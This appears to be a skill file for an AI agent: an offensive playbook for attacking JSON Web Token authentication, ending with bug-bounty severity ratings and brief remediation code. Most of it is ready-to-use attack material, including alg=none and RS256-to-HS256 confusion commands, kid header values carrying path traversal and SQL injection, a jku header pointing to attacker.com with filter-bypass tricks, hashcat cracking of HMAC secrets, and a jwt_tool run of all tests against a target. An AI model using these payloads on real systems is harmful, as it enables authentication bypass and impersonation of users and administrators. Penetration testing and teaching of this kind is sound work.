- name
- jwt
- description
- JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.
- metadata
- {"when_to_use":"jwt json web token bearer signature alg=none kid jwks","mitre_attack":"T1606.001","subdomain":"authentication","upstream_ref":"skills/_corpus/payloads/JSON Web Token/"}
# JSON Web Token Attacks
JWTs are signed (`HS256`/`RS256`/`ES256`) or sometimes mis-configured to
accept `none`. The header carries the alg + optionally `kid`/`jku`/`x5u`
references. Each is a potential exploitation surface.
## 1. Anatomy
`header.payload.signature` — each base64url. Decode w/ `jwt_tool` or
`jwt-cracker`:
```bash
jwt_tool eyJhbGc... # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null
```
## 2. Attack surface
### 2.1 `alg=none` bypass
Set `{"alg":"none"}` in header, strip signature, send `header.payload.`:
```bash
jwt_tool $JWT -X a # alg=none attack
```
Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears
in legacy systems.
### 2.2 HS256 vs RS256 confusion
Server uses RS256 (asymmetric) and verifies w/ public key. Attacker
switches `alg` to `HS256` and signs w/ the *public key* (which the server
will use as the HMAC secret):
```bash
# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint
jwt_tool $JWT -X k -pk public.pem # alg confusion attack
```
### 2.3 `kid` header injection
`kid` (key ID) sometimes resolves to a file path or DB key:
```json
{"alg":"HS256","kid":"../../../dev/null"} // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"} // SQLi in kid lookup
```
`jwt_tool -X i -I -hc kid -hv path` chains kid injection variants.
### 2.4 `jku` / `x5u` URL injection
`jku` (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,
attacker hosts their own:
```json
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
```
Then `https://attacker.com/jwks.json` returns attacker's public key,
signed JWT is "valid".
Bypass URL filters via:
- subdomain confusion (`https://target.com.attacker.com/jwks.json`)
- userinfo (`https://attacker.com@target.com/jwks.json`)
- redirect chains via target's open-redirect
### 2.5 Weak HMAC secret
HS256 with weak secret crackable offline:
```bash
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
```
Hashcat mode 16500 = JWT. Service-account secrets often `dev`/`secret`/
`changeme`/company-name patterns.
### 2.6 Signature stripping (Express.js / older Go libs)
Some libraries verify only IF a signature is present. Strip it:
```
header.payload. ← trailing dot, no sig
```
### 2.7 Embedded `jwk` header
`jwk` in header (vs `jku` pointer) — attacker embeds their own pub key:
```json
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}
```
Old node-jsonwebtoken accepted this.
## 3. Detection in recon
JWT presence signals:
- `Authorization: Bearer eyJ...` headers
- `access_token=eyJ...` / `id_token=eyJ...` URL params or cookies
- `.well-known/jwks.json` endpoint exposed
- `.well-known/openid-configuration` discovery doc
## 4. PoC pattern (Burp + jwt_tool)
1. Capture authenticated request
2. `jwt_tool <JWT> -M at -t <target_url>` — runs **a**ll **t**ests (alg=none, alg confusion, signature strip, weak HMAC dictionary)
3. For positive results, replay manually via Burp Repeater to confirm
4. Document the modified JWT + decoded admin claims as PoC
## 5. Severity calibration
| Bug | Typical severity |
|---|---|
| `alg=none` accepted on user → admin claim swap | Critical 9.8 |
| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |
| `jku` to attacker URL accepted | Critical 9.8 |
| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |
| `kid` SQLi → DB enumeration | High 8.0 |
| Signature stripping accepted | Critical 9.8 |
## 6. Defender remediation
```javascript
// Node: jsonwebtoken
jwt.verify(token, publicKey, {
algorithms: ['RS256'], // EXPLICIT — never accept "none" or HS256 here
audience: 'api://my-service',
issuer: 'https://auth.mycorp.com',
});
// Python: PyJWT 2.0+
jwt.decode(token, public_key, algorithms=['RS256']) // explicit algorithm
// Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup
```
## Cross-references
- Upstream catalog: `skills/_corpus/payloads/JSON Web Token/`
- jwt_tool: https://github.com/ticarpi/jwt_tool
## Known exemplars
- Auth0 alg=none (2015) — historical CVE-2015-2951 era
- Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021
- Atlassian 2022: JWT validation bypass in JIRA cloud → admin
- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host
View on GitHub